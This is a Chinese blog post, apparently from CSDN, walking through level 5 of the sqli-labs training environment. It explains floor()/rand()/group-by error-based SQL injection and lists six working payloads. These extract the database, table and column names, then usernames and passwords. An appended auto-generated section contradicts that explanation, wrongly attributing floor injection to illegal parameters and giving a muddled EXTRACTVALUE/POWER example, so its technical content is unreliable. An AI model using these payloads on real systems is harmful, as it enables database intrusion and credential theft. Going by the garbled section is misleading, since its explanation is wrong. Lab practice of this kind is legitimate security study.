sqllabs第五关floor报错注入

这篇文章讲述了在SQLLab的实验环境中,使用groupby和rand()函数时遇到的floor()报错注入问题,原因在于主键重复,特别是在临时表插入时。作者解释了rand()的特性可能导致多次计算,从而引发错误。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

实验环境sqllabs第五关

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果

因为还有一个最重要的特性,就是group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次(也就是两次,但有些博客写的是多次,这个多次到底是几次并不知道,但是以两次来理解下面的实验都能说的通)。就是这个特性导致了主键重复并报错

上面这段话引用作者:酒仙桥六号部队

关于floor()报错注入,你真的懂了吗? - SecPulse.COM | 安全脉搏

大家可以去看看他写的原理很详细

下面的是实验过程

id=-1' union select count(*),1,concat('~',(select database()),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+

-1' union select count(*),1,concat('~',(select concat(table_name) from information_schema.tables where table_schema=database()limit 2,1),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+

-1' union select count(*),1,concat('~',(select concat(table_name) from information_schema.tables where table_schema=database()limit 3,1),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+

-1' union select count(*),1,concat('~',(select concat(column_name) from information_schema.columns where table_name='users'limit 1,1),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+

?id=-1'union select count(*),1, concat('~',(select concat(column_name) from information_schema.columns where table_name='users' limit 2,1),'~',floor(rand()*2)) as x from information_schema.tables group by x--+

-1'union select count(*),1, concat('~',(select concat(password,username) from users limit 7,1),'~',floor(rand()*2)) as x from information_schema.tables group by x--+

 

 

 

### 关于 SQLi Labs 中 Floor 函数错误注入的学习与解决 SQL 注入是一种常见的安全漏洞,其中攻击者通过输入恶意的 SQL 查询来操纵数据库的行为。Floor 错误注入属于一种基于错误的 SQL 注入技术,在这种情况下,MySQL 数据库会返回详细的错误消息,这些消息可能泄露有关查询结构的信息。 #### 地址与环境准备 为了测试 Floor 错误注入,可以按照以下方式设置实验环境: 1. **下载并安装 sqli-labs** 可以访问 GitHub 上的项目页面[^2],克隆或下载 `sqli-labs` 到本地,并将其放置在 Web 服务器的根目录下(例如 PHPStudy 的默认路径)。完成后启动服务。 2. **创建数据库和用户权限** 使用 MySQL 创建名为 `security` 的数据库以及相应的表数据[^1]。具体操作如下: ```sql CREATE DATABASE security; USE security; SOURCE /var/www/html/sqli-labs/Less-1/to-Less-55/DB/Dumb.sql; GRANT ALL PRIVILEGES ON security.* TO 'sqli'@'localhost' IDENTIFIED BY 'sqli'; FLUSH PRIVILEGES; ``` 3. **验证 Floor 错误注入场景** 在某些练习中可能会遇到 Floor 函数引发的语法错误提示,类似于以下内容[^3]: ``` You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1' LIMIT 0,1' ``` #### Floor 错误注入原理分析 当利用 Floor 函数进行错误注入时,通常依赖于 MySQL 对非法参数处理的方式。如果传递给 Floor 的值不是合法数值,则可能导致内部计算失败从而触发异常。此时可以通过精心构造 payload 来提取目标系统的敏感信息。 以下是实现 Floor 错误注入的一个典型例子: ```sql SELECT FLOOR(POWER(EXTRACTVALUE(NULL,(SELECT VERSION())),RAND()*9e8)); ``` 此语句尝试调用 EXTRACTVALUE() 方法读取版本号字符串作为 XML 节点解析器的内容,但由于传入 NULL 参数而故意制造了一个致命错误。与此同时,FLOOR 和 POWER 组合用于放大随机数范围以便更容易捕获特定模式下的回显片段。 需要注意的是,实际应用过程中应当调整 Payload 形式适配不同上下文中变量名长度限制等因素的影响。 #### 学习资源推荐 对于希望深入理解 Floor 错误注入机制及其防御措施的人士来说,可以从以下几个方面入手获取更多知识: - 官方文档:查阅官方手册了解每种内置函数的具体行为特征。 - 社区讨论:参与 OWASP 或其他信息安全论坛上的主题交流分享经验技巧。 - 教程视频:观看 YouTube 平台上由专家录制的相关教学录像获得直观演示效果。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值